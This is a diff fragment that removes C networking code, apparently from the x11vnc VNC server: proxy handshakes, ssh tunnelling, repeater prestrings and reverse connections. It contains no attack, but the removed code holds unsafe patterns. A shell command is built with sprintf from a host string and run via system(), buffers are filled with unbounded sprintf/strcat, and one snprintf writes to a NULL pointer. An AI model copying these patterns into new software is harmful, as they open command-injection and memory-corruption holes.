- n = read(sock, tmp, 1);
- reply[4] = tmp[0];
- read(sock, reply+5, (int) reply[4] + 2);
- } else if (reply[3] == 0x4) {
- read(sock, reply+4, 16 + 2);
- }
-
- if (0) {
- int i;
- for (i=0; i<len+2; i++) {
- fprintf(stderr, "b[%d]: %d\n", i, (int) buf[i]);
- }
- for (i=0; i<len+2; i++) {
- fprintf(stderr, "r[%d]: %d\n", i, (int) reply[i]);
- }
- }
- if (reply[0] == 0x5 && reply[1] == 0x0 && reply[2] == 0x0) {
- rfbLog("SOCKS5 connect OK to %s:%d sock=%d\n", host, port, sock);
- return 1;
- } else {
- rfbLog("SOCKS5 error to %s:%d sock=%d\n", host, port, sock);
- close(sock);
- return 0;
- }
-}
-
-static int socks_proxy(char *host, int port, int sock) {
- unsigned char buf[512], tmp[2];
- char reply[16];
- int socks4a = 0, len, i, j = 0, d1, d2, d3, d4;
-
- memset(buf, 0, 512);
-
- buf[0] = 0x4;
- buf[1] = 0x1;
- buf[2] = (unsigned char) (port >> 8);
- buf[3] = (unsigned char) (port & 0xff);
-
-
- if (strlen(host) > 256) {
- rfbLog("socks_proxy: hostname too long: %s\n", host);
- close(sock);
- return 0;
- }
-
- if (!strcmp(host, "localhost") || !strcmp(host, "127.0.0.1")) {
- buf[4] = 127;
- buf[5] = 0;
- buf[6] = 0;
- buf[7] = 1;
- } else if (sscanf(host, "%d.%d.%d.%d", &d1, &d2, &d3, &d4) == 4) {
- buf[4] = (unsigned char) d1;
- buf[5] = (unsigned char) d2;
- buf[6] = (unsigned char) d3;
- buf[7] = (unsigned char) d4;
- } else {
- buf[4] = 0x0;
- buf[5] = 0x0;
- buf[6] = 0x0;
- buf[7] = 0x3;
- socks4a = 1;
- }
- len = 8;
-
- strcat((char *)buf+8, "nobody");
- len += strlen("nobody") + 1;
-
- if (socks4a) {
- strcat((char *) buf+8+strlen("nobody") + 1, host);
- len += strlen(host) + 1;
- }
-
- write(sock, buf, len);
-
- for (i=0; i<8; i++) {
- int n;
- n = read(sock, tmp, 1);
- j++;
- if (n < 0) {
- if (errno != EINTR) {
- break;
- } else {
- i--;
- if (j > 100) {
- break;
- }
- continue;
- }
- }
- if (n == 0) {
- break;
- }
- reply[i] = tmp[0];
- }
- if (0) {
- int i;
- for (i=0; i<len; i++) {
- fprintf(stderr, "b[%d]: %d\n", i, (int) buf[i]);
- }
- for (i=0; i<8; i++) {
- fprintf(stderr, "r[%d]: %d\n", i, (int) reply[i]);
- }
- }
- if (reply[0] == 0x0 && reply[1] == 0x5a) {
- if (socks4a) {
- rfbLog("SOCKS4a connect OK to %s:%d sock=%d\n", host, port, sock);
- } else {
- rfbLog("SOCKS4 connect OK to %s:%d sock=%d\n", host, port, sock);
- }
- return 1;
- } else {
- if (socks4a) {
- rfbLog("SOCKS4a error to %s:%d sock=%d\n", host, port, sock);
- } else {
- rfbLog("SOCKS4 error to %s:%d sock=%d\n", host, port, sock);
- }
- close(sock);
- return 0;
- }
-}
-
-#define PXY_HTTP 1
-#define PXY_GET 2
-#define PXY_SOCKS 3
-#define PXY_SOCKS5 4
-#define PXY_SSH 5
-#define PXY 3
-
-static int pxy_get_sock;
-
-static int pconnect(int psock, char *host, int port, int type, char *http_path, char *gethost, int getport) {
- char reply[4096];
- int i, ok, len;
- char *req;
-
- pxy_get_sock = -1;
-
- if (type == PXY_SOCKS) {
- return socks_proxy(host, port, psock);
- }
- if (type == PXY_SOCKS5) {
- return socks5_proxy(host, port, psock);
- }
- if (type == PXY_SSH) {
- return 1;
- }
-
- len = strlen("CONNECT ") + strlen(host);
- if (type == PXY_GET) {
- len += strlen(http_path) + strlen(gethost);
- len += strlen("host=") + 1 + strlen("port=") + 1 + 1;
- }
- len += 1 + 20 + strlen("HTTP/1.1\r\n") + 1;
-
- req = (char *)malloc(len);
-
- if (type == PXY_GET) {
- int noquery = 0;
- char *t = strstr(http_path, "__END__");
- if (t) {
- noquery = 1;
- *t = '\0';
- }
-
- if (noquery) {
- sprintf(req, "GET %s HTTP/1.1\r\n", http_path);
- } else {
- sprintf(req, "GET %shost=%s&port=%d HTTP/1.1\r\n", http_path, host, port);
- }
- } else {
- sprintf(req, "CONNECT %s:%d HTTP/1.1\r\n", host, port);
- }
- rfbLog("http proxy: %s", req);
- write(psock, req, strlen(req));
-
- if (type == PXY_GET) {
- char *t = "Connection: close\r\n";
- write(psock, t, strlen(t));
- }
-
- if (type == PXY_GET) {
- sprintf(req, "Host: %s:%d\r\n", gethost, getport);
- rfbLog("http proxy: %s", req);
- sprintf(req, "Host: %s:%d\r\n\r\n", gethost, getport);
- } else {
- sprintf(req, "Host: %s:%d\r\n", host, port);
- rfbLog("http proxy: %s", req);
- sprintf(req, "Host: %s:%d\r\n\r\n", host, port);
- }
-
- write(psock, req, strlen(req));
-
- ok = 0;
- reply[0] = '\0';
-
- for (i=0; i<4096; i++) {
- int n;
- req[0] = req[1] = '\0';
- n = read(psock, req, 1);
- if (n < 0) {
- if (errno != EINTR) {
- break;
- } else {
- continue;
- }
- }
- if (n == 0) {
- break;
- }
- strcat(reply, req);
- if (strstr(reply, "\r\n\r\n")) {
- if (strstr(reply, "HTTP/") == reply) {
- char *q = strchr(reply, ' ');
- if (q) {
- q++;
- if (q[0] == '2' && q[1] == '0' && q[2] == '0' && q[3] == ' ') {
- ok = 1;
- }
- }
- }
- break;
- }
- }
-
- if (type == PXY_GET) {
- char *t1 = strstr(reply, "VNC-IP-Port: ");
- char *t2 = strstr(reply, "VNC-Host-Port: ");
- char *s, *newhost = NULL;
- int newport = 0;
- fprintf(stderr, "%s\n", reply);
- if (t1) {
- t1 += strlen("VNC-IP-Port: ");
- s = strstr(t1, ":");
- if (s) {
- *s = '\0';
- newhost = strdup(t1);
- newport = atoi(s+1);
- }
- } else if (t2) {
- t2 += strlen("VNC-Host-Port: ");
- s = strstr(t2, ":");
- if (s) {
- *s = '\0';
- newhost = strdup(t2);
- newport = atoi(s+1);
- }
- }
- if (newhost && newport > 0) {
- rfbLog("proxy GET reconnect to: %s:%d\n", newhost, newport);
- pxy_get_sock = connect_tcp(newhost, newport);
- }
- }
- free(req);
-
- return ok;
-}
-
-static int proxy_connect(char *host, int port) {
- char *p, *q, *str;
- int i, n, pxy[PXY],pxy_p[PXY];
- int psock = -1;
- char *pxy_h[PXY], *pxy_g[PXY];
-
- if (! connect_proxy) {
- return -1;
- }
- str = strdup(connect_proxy);
-
- for (i=0; i<PXY; i++) {
- pxy[i] = 0;
- pxy_p[i] = 0;
- pxy_h[i] = NULL;
- pxy_g[i] = NULL;
- }
-
- n = 0;
- p = str;
- while (p) {
- char *hp, *c, *s = NULL;
-
- q = strchr(p, ',');
- if (q) {
- *q = '\0';
- }
-
- if (n==0) fprintf(stderr, "\n");
- rfbLog("proxy_connect[%d]: %s\n", n+1, p);
-
- pxy[n] = 0;
- pxy_p[n] = 0;
- pxy_h[n] = NULL;
- pxy_g[n] = NULL;
-
- if (strstr(p, "socks://") == p) {
- hp = strstr(p, "://") + 3;
- pxy[n] = PXY_SOCKS;
- } else if (strstr(p, "socks4://") == p) {
- hp = strstr(p, "://") + 3;
- pxy[n] = PXY_SOCKS;
- } else if (strstr(p, "socks5://") == p) {
- hp = strstr(p, "://") + 3;
- pxy[n] = PXY_SOCKS5;
- } else if (strstr(p, "ssh://") == p) {
- if (n != 0) {
- rfbLog("ssh:// proxy must be the first one\n");
- clean_up_exit(1);
- }
- hp = strstr(p, "://") + 3;
- pxy[n] = PXY_SSH;
- } else if (strstr(p, "http://") == p) {
- hp = strstr(p, "://") + 3;
- pxy[n] = PXY_HTTP;
- } else if (strstr(p, "https://") == p) {
- hp = strstr(p, "://") + 3;
- pxy[n] = PXY_HTTP;
- } else {
- hp = p;
- pxy[n] = PXY_HTTP;
- }
- c = strstr(hp, ":");
- if (!c && pxy[n] == PXY_SSH) {
- char *hp2 = (char *) malloc(strlen(hp) + 5);
- sprintf(hp2, "%s:1", hp);
- hp = hp2;
- c = strstr(hp, ":");
- }
- if (!c) {
- pxy[n] = 0;
- if (q) {
- *q = ',';
- p = q + 1;
- } else {
- p = NULL;
- }
- continue;
- }
-
- if (pxy[n] == PXY_HTTP) {
- s = strstr(c, "/");
- if (s) {
- pxy[n] = PXY_GET;
- pxy_g[n] = strdup(s);
- *s = '\0';
- }
- }
- pxy_p[n] = atoi(c+1);
-
- if (pxy_p[n] <= 0) {
- pxy[n] = 0;
- pxy_p[n] = 0;
- if (q) {
- *q = ',';
- p = q + 1;
- } else {
- p = NULL;
- }
- continue;
- }
- *c = '\0';
- pxy_h[n] = strdup(hp);
-
- if (++n >= PXY) {
- break;
- }
-
- if (q) {
- *q = ',';
- p = q + 1;
- } else {
- p = NULL;
- }
- }
- free(str);
-
- if (!n) {
- psock = -1;
- goto pxy_clean;
- }
-
- if (pxy[0] == PXY_SSH) {
- int rc, len = 0;
- char *cmd, *ssh;
- int sport = find_free_port(7300, 8000);
- if (getenv("SSH")) {
- ssh = getenv("SSH");
- } else {
- ssh = "ssh";
- }
- len = 200 + strlen(ssh) + strlen(pxy_h[0]) + strlen(host);
- cmd = (char *) malloc(len);
- if (n == 1) {
- if (pxy_p[0] <= 1) {
- sprintf(cmd, "%s -f -L '%d:%s:%d' '%s' 'sleep 20'", ssh, sport, host, port, pxy_h[0]);
- } else {
- sprintf(cmd, "%s -f -p %d -L '%d:%s:%d' '%s' 'sleep 20'", ssh, pxy_p[0], sport, host, port, pxy_h[0]);
- }
- } else {
- if (pxy_p[0] <= 1) {
- sprintf(cmd, "%s -f -L '%d:%s:%d' '%s' 'sleep 20'", ssh, sport, pxy_h[1], pxy_p[1], pxy_h[0]);
- } else {
- sprintf(cmd, "%s -f -p %d -L '%d:%s:%d' '%s' 'sleep 20'", ssh, pxy_p[0], sport, pxy_h[1], pxy_p[1], pxy_h[0]);
- }
- }
- if (no_external_cmds || !cmd_ok("ssh")) {
- rfbLogEnable(1);
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", cmd);
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
- close_exec_fds();
- fprintf(stderr, "\n");
- rfbLog("running: %s\n", cmd);
- rc = system(cmd);
- free(cmd);
- if (rc != 0) {
- psock = -1;
- goto pxy_clean;
- }
- psock = connect_tcp("localhost", sport);
-
- } else {
- psock = connect_tcp(pxy_h[0], pxy_p[0]);
- }
-
- if (psock < 0) {
- psock = -1;
- goto pxy_clean;
- }
- rfbLog("opened socket to proxy: %s:%d\n", pxy_h[0], pxy_p[0]);
-
- if (n >= 2) {
- if (! pconnect(psock, pxy_h[1], pxy_p[1], pxy[0], pxy_g[0], pxy_h[0], pxy_p[0])) {
- close(psock); psock = -1; goto pxy_clean;
- }
- if (pxy_get_sock >= 0) {close(psock); psock = pxy_get_sock;}
-
- if (n >= 3) {
- if (! pconnect(psock, pxy_h[2], pxy_p[2], pxy[1], pxy_g[1], pxy_h[1], pxy_p[1])) {
- close(psock); psock = -1; goto pxy_clean;
- }
- if (pxy_get_sock >= 0) {close(psock); psock = pxy_get_sock;}
- if (! pconnect(psock, host, port, pxy[2], pxy_g[2], pxy_h[2], pxy_p[2])) {
- close(psock); psock = -1; goto pxy_clean;
- }
- if (pxy_get_sock >= 0) {close(psock); psock = pxy_get_sock;}
-
- } else {
- if (! pconnect(psock, host, port, pxy[1], pxy_g[1], pxy_h[1], pxy_p[1])) {
- close(psock); psock = -1; goto pxy_clean;
- }
- if (pxy_get_sock >= 0) {close(psock); psock = pxy_get_sock;}
- }
- } else {
- if (! pconnect(psock, host, port, pxy[0], pxy_g[0], pxy_h[0], pxy_p[0])) {
- close(psock); psock = -1; goto pxy_clean;
- }
- if (pxy_get_sock >= 0) {close(psock); psock = pxy_get_sock;}
- }
-
- pxy_clean:
- for (i=0; i < PXY; i++) {
- if (pxy_h[i] != NULL) {
- free(pxy_h[i]);
- }
- if (pxy_g[i] != NULL) {
- free(pxy_g[i]);
- }
- }
-
- return psock;
-}
-
-char *get_repeater_string(char *str, int *len) {
- int pren, which = 0;
- int prestring_len = 0;
- char *prestring = NULL, *ptmp = NULL;
- char *equals = strchr(str, '=');
- char *plus = strrchr(str, '+');
-
- *len = 0;
- if (!plus || !equals) {
- return NULL;
- }
-
- *plus = '\0';
- if (strstr(str, "repeater=") == str) {
- /* ultravnc repeater http://www.uvnc.com/addons/repeater.html */
- prestring_len = 250;
- ptmp = (char *) calloc(prestring_len+1, 1);
- snprintf(ptmp, 250, "%s", str + strlen("repeater="));
- which = 1;
- } else if (strstr(str, "pre=") == str) {
- prestring_len = strlen(str + strlen("pre="));
- ptmp = (char *) calloc(prestring_len+1, 1);
- snprintf(ptmp, prestring_len+1, "%s", str + strlen("pre="));
- which = 2;
- } else if (sscanf(str, "pre%d=", &pren) == 1) {
- if (pren > 0 && pren <= 16384) {
- prestring_len = pren;
- ptmp = (char *) calloc(prestring_len+1, 1);
- snprintf(prestring, prestring_len, "%s", equals+1);
- which = 3;
- }
- }
- if (ptmp != NULL) {
- int i, k = 0;
- char *p = ptmp;
- prestring = (char *)calloc(prestring_len+1, 1);
- /* translate \n to newline, etc. */
- for (i=0; i < prestring_len; i++) {
- if (i < prestring_len-1 && *(p+i) == '\\') {
- if (*(p+i+1) == 'r') {
- prestring[k++] = '\r'; i++;
- } else if (*(p+i+1) == 'n') {
- prestring[k++] = '\n'; i++;
- } else if (*(p+i+1) == 't') {
- prestring[k++] = '\t'; i++;
- } else if (*(p+i+1) == 'a') {
- prestring[k++] = '\a'; i++;
- } else if (*(p+i+1) == 'b') {
- prestring[k++] = '\b'; i++;
- } else if (*(p+i+1) == 'v') {
- prestring[k++] = '\v'; i++;
- } else if (*(p+i+1) == 'f') {
- prestring[k++] = '\f'; i++;
- } else if (*(p+i+1) == '\\') {
- prestring[k++] = '\\'; i++;
- } else if (*(p+i+1) == 'c') {
- prestring[k++] = ','; i++;
- } else {
- prestring[k++] = *(p+i);
- }
- } else {
- prestring[k++] = *(p+i);
- }
- }
- if (which == 2) {
- prestring_len = k;
- }
- if (!quiet) {
- rfbLog("-connect prestring: '%s'\n", prestring);
- }
- free(ptmp);
- }
- *plus = '+';
-
- *len = prestring_len;
- return prestring;
-}
-
-#ifndef USE_TIMEOUT_INTERRUPT
-#define USE_TIMEOUT_INTERRUPT 0
-#endif
-
-static void reverse_connect_timeout (int sig) {
- rfbLog("sig: %d, reverse_connect_timeout.\n", sig);
-#if USE_TIMEOUT_INTERRUPT
- rfbLog("reverse_connect_timeout proceeding assuming connect(2) interrupt.\n");
-#else
- clean_up_exit(0);
-#endif
-}
-
-
-/*
- * Do a reverse connect for a single "host" or "host:port"
- */
-
-static int do_reverse_connect(char *str_in) {
- rfbClientPtr cl;
- char *host, *p, *str = str_in, *s = NULL;
- char *prestring = NULL;
- int prestring_len = 0;
- int rport = 5500, len = strlen(str);
- int set_alarm = 0;
-
- if (len < 1) {
- return 0;
- }
- if (len > 1024) {
- rfbLog("reverse_connect: string too long: %d bytes\n", len);
- return 0;
- }
- if (!screen) {
- rfbLog("reverse_connect: screen not setup yet.\n");
- return 0;
- }
- if (unixpw_in_progress) return 0;
-
- /* look for repeater pre-string */
- if (strchr(str, '=') && strrchr(str, '+')
- && (strstr(str, "pre") == str || strstr(str, "repeater=") == str)) {
- prestring = get_repeater_string(str, &prestring_len);
- str = strrchr(str, '+') + 1;
- } else if (strrchr(str, '+') && strstr(str, "repeater://") == str) {
- /* repeater://host:port+string */
- /* repeater=string+host:port */
- char *plus = strrchr(str, '+');
- str = (char *) malloc(strlen(str_in)+1);
- s = str;
- *plus = '\0';
- sprintf(str, "repeater=%s+%s", plus+1, str_in + strlen("repeater://"));
- prestring = get_repeater_string(str, &prestring_len);
- str = strrchr(str, '+') + 1;
- *plus = '+';
- }
-
- /* copy in to host */
- host = (char *) malloc(len+1);
- if (! host) {
- rfbLog("reverse_connect: could not malloc string %d\n", len);
- return 0;
- }
- strncpy(host, str, len);
- host[len] = '\0';
-
- /* extract port, if any */
- if ((p = strrchr(host, ':')) != NULL) {
- rport = atoi(p+1);
- if (rport < 0) {
- rport = -rport;
- } else if (rport < 20) {
- rport = 5500 + rport;
- }
- *p = '\0';
- }
-
- if (ipv6_client_ip_str) {
- free(ipv6_client_ip_str);
- ipv6_client_ip_str = NULL;
- }
-
- if (use_openssl) {
- int vncsock;
- if (connect_proxy) {
- vncsock = proxy_connect(host, rport);
- } else {
- vncsock = connect_tcp(host, rport);
- }
- if (vncsock < 0) {
- rfbLog("reverse_connect: failed to connect to: %s\n", str);
- return 0;
- }
- if (prestring != NULL) {
- write(vncsock, prestring, prestring_len);
- free(prestring);
- }
-/* XXX use header */
-#define OPENSSL_REVERSE 6
- if (!getenv("X11VNC_DISABLE_SSL_CLIENT_MODE")) {
- openssl_init(1);
- }
-
- if (first_conn_timeout > 0) {
- set_alarm = 1;
- signal(SIGALRM, reverse_connect_timeout);
-#if USE_TIMEOUT_INTERRUPT
- siginterrupt(SIGALRM, 1);
-#endif
- rfbLog("reverse_connect: using alarm() timeout of %d seconds.\n", first_conn_timeout);
- alarm(first_conn_timeout);
- }
- accept_openssl(OPENSSL_REVERSE, vncsock);
- if (set_alarm) {alarm(0); signal(SIGALRM, SIG_DFL);}
-
- openssl_init(0);
- free(host);
- return 1;
- }
-
- if (use_stunnel) {
- if(strcmp(host, "localhost") && strcmp(host, "127.0.0.1")) {
- if (!getenv("STUNNEL_DISABLE_LOCALHOST")) {
- rfbLog("reverse_connect: error host not localhost in -stunnel mode.\n");
- return 0;
- }
- }
- }
-
- if (unixpw) {
- int is_localhost = 0, user_disabled_it = 0;
-
- if(!strcmp(host, "localhost") || !strcmp(host, "127.0.0.1")) {
- is_localhost = 1;
- }
- if (getenv("UNIXPW_DISABLE_LOCALHOST")) {
- user_disabled_it = 1;
- }
-
- if (! is_localhost) {
- if (user_disabled_it) {
- rfbLog("reverse_connect: warning disabling localhost constraint in -unixpw\n");
- } else {
- rfbLog("reverse_connect: error not localhost in -unixpw\n");
- return 0;
- }
- }
- }
-
- if (first_conn_timeout > 0) {
- set_alarm = 1;
- signal(SIGALRM, reverse_connect_timeout);
-#if USE_TIMEOUT_INTERRUPT
- siginterrupt(SIGALRM, 1);
-#endif
- rfbLog("reverse_connect: using alarm() timeout of %d seconds.\n", first_conn_timeout);
- alarm(first_conn_timeout);
- }
-
- if (connect_proxy != NULL) {
- int sock = proxy_connect(host, rport);
- if (set_alarm) {alarm(0); signal(SIGALRM, SIG_DFL);}
- if (sock >= 0) {
- if (prestring != NULL) {
- write(sock, prestring, prestring_len);
- free(prestring);
- }
- cl = create_new_client(sock, 1);
- } else {
- return 0;
- }
- } else if (prestring != NULL) {
- int sock = connect_tcp(host, rport);
- if (set_alarm) {alarm(0); signal(SIGALRM, SIG_DFL);}
- if (sock >= 0) {
- write(sock, prestring, prestring_len);
- free(prestring);
- cl = create_new_client(sock, 1);
- } else {
- return 0;
- }
- } else {
- cl = rfbReverseConnection(screen, host, rport);
- if (cl == NULL) {
- int sock = connect_tcp(host, rport);
- if (sock >= 0) {
- cl = create_new_client(sock, 1);
- }
- }
- if (set_alarm) {alarm(0); signal(SIGALRM, SIG_DFL);}
- if (cl != NULL && use_threads) {
- cl->onHold = FALSE;
- rfbStartOnHoldClient(cl);
- }
- }
-
- free(host);
-
- if (ipv6_client_ip_str) {
- free(ipv6_client_ip_str);
- ipv6_client_ip_str = NULL;
- }
-
-
- if (cl == NULL) {
- if (quiet && connect_or_exit) {
- rfbLogEnable(1);
- }
- rfbLog("reverse_connect: %s failed\n", str);
- return 0;
- } else {
- rfbLog("reverse_connect: %s/%s OK\n", str, cl->host);
- /* let's see if anyone complains: */
- if (! getenv("X11VNC_REVERSE_CONNECTION_NO_AUTH")) {
- rfbLog("reverse_connect: turning on auth for %s\n",
- cl->host);
- cl->reverseConnection = FALSE;
- }
- return 1;
- }
-}
-
-/*
- * Break up comma separated list of hosts and call do_reverse_connect()
- */
-void reverse_connect(char *str) {
- char *p, *tmp;
- int sleep_between_host = 300;
- int sleep_min = 1500, sleep_max = 4500, n_max = 5;
- int n, tot, t, dt = 100, cnt = 0;
- int nclients0 = client_count;
- int lcnt, j;
- char **list;
- int do_appshare = 0;
-
- if (!getenv("X11VNC_REVERSE_USE_OLD_SLEEP")) {
- sleep_min = 500;
- sleep_max = 2500;
- }
-
- if (unixpw_in_progress) return;
-
- tmp = strdup(str);
-
- list = (char **) calloc( (strlen(tmp)+2) * sizeof (char *), 1);
- lcnt = 0;
-
- p = strtok(tmp, ", \t\r\n");
- while (p) {
- list[lcnt++] = strdup(p);
- p = strtok(NULL, ", \t\r\n");
- }
- free(tmp);
-
- if (subwin && getenv("X11VNC_APPSHARE_ACTIVE")) {
- do_appshare = 1;
- sleep_between_host = 0; /* too agressive??? */
- }
- if (getenv("X11VNC_REVERSE_SLEEP_BETWEEN_HOST")) {
- sleep_between_host = atoi(getenv("X11VNC_REVERSE_SLEEP_BETWEEN_HOST"));
- }
-
- if (do_appshare) {
- if (screen && dpy) {
- char *s = choose_title(DisplayString(dpy));
-
- /* mutex */
- screen->desktopName = s;
- if (rfb_desktop_name) {
- free(rfb_desktop_name);
- }
- rfb_desktop_name = strdup(s);
- }
- }
-
- for (j = 0; j < lcnt; j++) {
- p = list[j];
-
- if ((n = do_reverse_connect(p)) != 0) {
- int i;
- progress_client();
- for (i=0; i < 3; i++) {
- rfbPE(-1);
- }
- }
- cnt += n;
- if (list[j+1] != NULL) {
- t = 0;
- while (t < sleep_between_host) {
- double t1, t2;
- int i;
- t1 = dnow();
- for (i=0; i < 8; i++) {
- rfbPE(-1);
- if (do_appshare && t == 0) {
- rfbPE(-1);
- }
- }
- t2 = dnow();
- t += (int) (1000 * (t2 - t1));
- if (t >= sleep_between_host) {
- break;
- }
- usleep(dt * 1000);
- t += dt;
- }
- }
- }
-
- for (j = 0; j < lcnt; j++) {
- p = list[j];
- if (p) free(p);
- }
- free(list);
-
- if (cnt == 0) {
- if (connect_or_exit) {
- rfbLogEnable(1);
- rfbLog("exiting under -connect_or_exit\n");
- if (gui_pid > 0) {
- rfbLog("killing gui_pid %d\n", gui_pid);
- kill(gui_pid, SIGTERM);
- }
- clean_up_exit(1);
- }
- if (xrandr || xrandr_maybe) {
- check_xrandr_event("reverse_connect1");
- }
- return;
- }
-
- /*
- * XXX: we need to process some of the initial handshaking
- * events, otherwise the client can get messed up (why??)
- * so we send rfbProcessEvents() all over the place.
- *
- * How much is this still needed?
- */
-
- n = cnt;
- if (n >= n_max) {
- n = n_max;
- }
- t = sleep_max - sleep_min;
- tot = sleep_min + ((n-1) * t) / (n_max-1);
-
- if (do_appshare) {
- tot /= 3;
- if (tot < dt) {
- tot = dt;
- }
- tot = 0; /* too agressive??? */
- }
-
- if (getenv("X11VNC_REVERSE_SLEEP_MAX")) {
- tot = atoi(getenv("X11VNC_REVERSE_SLEEP_MAX"));
- }
-
- t = 0;
- while (t < tot) {
- int i;
- double t1, t2;
- t1 = dnow();
- for (i=0; i < 8; i++) {
- rfbPE(-1);
- if (t == 0) rfbPE(-1);
- }
- t2 = dnow();
- t += (int) (1000 * (t2 - t1));
- if (t >= tot) {
- break;
- }
- usleep(dt * 1000);
- t += dt;
- }
- if (connect_or_exit) {
- if (client_count <= nclients0) {
- for (t = 0; t < 10; t++) {
- int i;
- for (i=0; i < 3; i++) {
- rfbPE(-1);
- }
- usleep(100 * 1000);
- }
- }
- if (client_count <= nclients0) {
- rfbLogEnable(1);
- rfbLog("exiting under -connect_or_exit\n");
- if (gui_pid > 0) {
- rfbLog("killing gui_pid %d\n", gui_pid);
- kill(gui_pid, SIGTERM);
- }
- clean_up_exit(1);
- }
- }
- if (xrandr || xrandr_maybe) {
- check_xrandr_event("reverse_connect2");
- }
-}
-
-/*
- * Routines for monitoring the VNC_CONNECT and X11VNC_REMOTE properties
- * for changes. The vncconnect(1) will set it on our X display.
- */
-void set_vnc_connect_prop(char *str) {
- RAWFB_RET_VOID
-#if !NO_X11
- if (vnc_connect_prop == None) return;
- XChangeProperty(dpy, rootwin, vnc_connect_prop, XA_STRING, 8,
- PropModeReplace, (unsigned char *)str, strlen(str));
-#else
- if (!str) {}
-#endif /* NO_X11 */
-}
-
-void set_x11vnc_remote_prop(char *str) {
- RAWFB_RET_VOID
-#if !NO_X11
- if (x11vnc_remote_prop == None) return;
- XChangeProperty(dpy, rootwin, x11vnc_remote_prop, XA_STRING, 8,
- PropModeReplace, (unsigned char *)str, strlen(str));
-#else
- if (!str) {}
-#endif /* NO_X11 */
-}
-
-void read_vnc_connect_prop(int nomsg) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!nomsg) {}
- return;
-#else
- Atom type;
- int format, slen, dlen;
- unsigned long nitems = 0, bytes_after = 0;
- unsigned char* data = NULL;
- int db = 1;
-
- vnc_connect_str[0] = '\0';
- slen = 0;
-
- if (! vnc_connect || vnc_connect_prop == None) {
- /* not active or problem with VNC_CONNECT atom */
- return;
- }
- RAWFB_RET_VOID
-
- /* read the property value into vnc_connect_str: */
- do {
- if (XGetWindowProperty(dpy, DefaultRootWindow(dpy),
- vnc_connect_prop, nitems/4, VNC_CONNECT_MAX/16, False,
- AnyPropertyType, &type, &format, &nitems, &bytes_after,
- &data) == Success) {
-
- dlen = nitems * (format/8);
- if (slen + dlen > VNC_CONNECT_MAX) {
- /* too big */
- rfbLog("warning: truncating large VNC_CONNECT"
- " string > %d bytes.\n", VNC_CONNECT_MAX);
- XFree_wr(data);
- break;
- }
- memcpy(vnc_connect_str+slen, data, dlen);
- slen += dlen;
- vnc_connect_str[slen] = '\0';
- XFree_wr(data);
- }
- } while (bytes_after > 0);
-
- vnc_connect_str[VNC_CONNECT_MAX] = '\0';
- if (! db || nomsg) {
- ;
- } else {
- rfbLog("read VNC_CONNECT: %s\n", vnc_connect_str);
- }
-#endif /* NO_X11 */
-}
-
-void read_x11vnc_remote_prop(int nomsg) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!nomsg) {}
- return;
-#else
- Atom type;
- int format, slen, dlen;
- unsigned long nitems = 0, bytes_after = 0;
- unsigned char* data = NULL;
- int db = 1;
-
- x11vnc_remote_str[0] = '\0';
- slen = 0;
-
- if (! vnc_connect || x11vnc_remote_prop == None) {
- /* not active or problem with X11VNC_REMOTE atom */
- return;
- }
- RAWFB_RET_VOID
-
- /* read the property value into x11vnc_remote_str: */
- do {
- if (XGetWindowProperty(dpy, DefaultRootWindow(dpy),
- x11vnc_remote_prop, nitems/4, X11VNC_REMOTE_MAX/16, False,
- AnyPropertyType, &type, &format, &nitems, &bytes_after,
- &data) == Success) {
-
- dlen = nitems * (format/8);
- if (slen + dlen > X11VNC_REMOTE_MAX) {
- /* too big */
- rfbLog("warning: truncating large X11VNC_REMOTE"
- " string > %d bytes.\n", X11VNC_REMOTE_MAX);
- XFree_wr(data);
- break;
- }
- memcpy(x11vnc_remote_str+slen, data, dlen);
- slen += dlen;
- x11vnc_remote_str[slen] = '\0';
- XFree_wr(data);
- }
- } while (bytes_after > 0);
-
- x11vnc_remote_str[X11VNC_REMOTE_MAX] = '\0';
- if (! db || nomsg) {
- ;
- } else if (strstr(x11vnc_remote_str, "ans=stop:N/A,ans=quit:N/A,ans=")) {
- ;
- } else if (strstr(x11vnc_remote_str, "qry=stop,quit,exit")) {
- ;
- } else if (strstr(x11vnc_remote_str, "ack=") == x11vnc_remote_str) {
- ;
- } else if (quiet && strstr(x11vnc_remote_str, "qry=ping") ==
- x11vnc_remote_str) {
- ;
- } else if (strstr(x11vnc_remote_str, "cmd=") &&
- strstr(x11vnc_remote_str, "passwd")) {
- rfbLog("read X11VNC_REMOTE: *\n");
- } else if (strlen(x11vnc_remote_str) > 36) {
- char trim[100];
- trim[0] = '\0';
- strncat(trim, x11vnc_remote_str, 36);
- rfbLog("read X11VNC_REMOTE: %s ...\n", trim);
-
- } else {
- rfbLog("read X11VNC_REMOTE: %s\n", x11vnc_remote_str);
- }
-#endif /* NO_X11 */
-}
-
-extern int rc_npieces;
-
-void grab_state(int *ptr_grabbed, int *kbd_grabbed) {
- int rcp, rck;
- double t0, t1;
- double ta, tb, tc;
- *ptr_grabbed = -1;
- *kbd_grabbed = -1;
-
- if (!dpy) {
- return;
- }
- *ptr_grabbed = 0;
- *kbd_grabbed = 0;
-
-#if !NO_X11
- X_LOCK;
-
- XSync(dpy, False);
-
- ta = t0 = dnow();
-
- rcp = XGrabPointer(dpy, window, False, 0, GrabModeAsync, GrabModeAsync, None, None, CurrentTime);
- XUngrabPointer(dpy, CurrentTime);
-
- tb = dnow();
-
- rck = XGrabKeyboard(dpy, window, False, GrabModeAsync, GrabModeAsync, CurrentTime);
- XUngrabKeyboard(dpy, CurrentTime);
-
- tc = dnow();
-
- XSync(dpy, False);
-
- t1 = dnow();
-
- X_UNLOCK;
- if (rcp == AlreadyGrabbed || rcp == GrabFrozen) {
- *ptr_grabbed = 1;
- }
- if (rck == AlreadyGrabbed || rck == GrabFrozen) {
- *kbd_grabbed = 1;
- }
- if (rc_npieces < 10) {
- rfbLog("grab_state: checked %d,%d in %.6f sec (%.6f %.6f)\n",
- *ptr_grabbed, *kbd_grabbed, t1-t0, tb-ta, tc-tb);
- }
-#endif
-}
-
-static void pmove(int x, int y) {
- if (x < 0 || y < 0) {
- rfbLog("pmove: skipping negative x or y: %d %d\n", x, y);
- return;
- }
- rfbLog("pmove: x y: %d %d\n", x, y);
- pointer_event(0, x, y, NULL);
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
-}
-
-
-char *bcx_xattach(char *str, int *pg_init, int *kg_init) {
- int grab_check = 1;
- int shift = 20;
- int final_x = 30, final_y = 30;
